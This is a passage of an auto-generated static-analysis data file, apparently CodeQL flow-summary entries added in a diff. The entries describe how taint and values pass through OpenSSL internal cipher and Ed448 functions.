uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_sign_prehash", "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_verify_prehash", "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_calculate_comp_expansion", "(int,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_decrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*ccm_ctx].Field[*blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_generic_auth_encrypt", "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_initctx", "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)", "", "Argument[*2]", "Argument[*0].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_initctx", "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)", "", "Argument[1]", "Argument[*0].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_initctx", "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)", "", "Argument[2]", "Argument[*0].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ccm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[**3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cipher_generic_block_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_cipher_generic_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[4]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[5]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[*6]", "Argument[*0].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[*7].Field[**libctx]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[*7].Field[*libctx]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[1]", "Argument[*0].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[2]", "Argument[*0].Field[*blocksize]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[3]", "Argument[*0].Field[*ivlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[4]", "Argument[*0].Field[*mode]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[6]", "Argument[*0].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*1].Field[*length]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*1].Field[*length]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*0].Field[*iv]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "value", 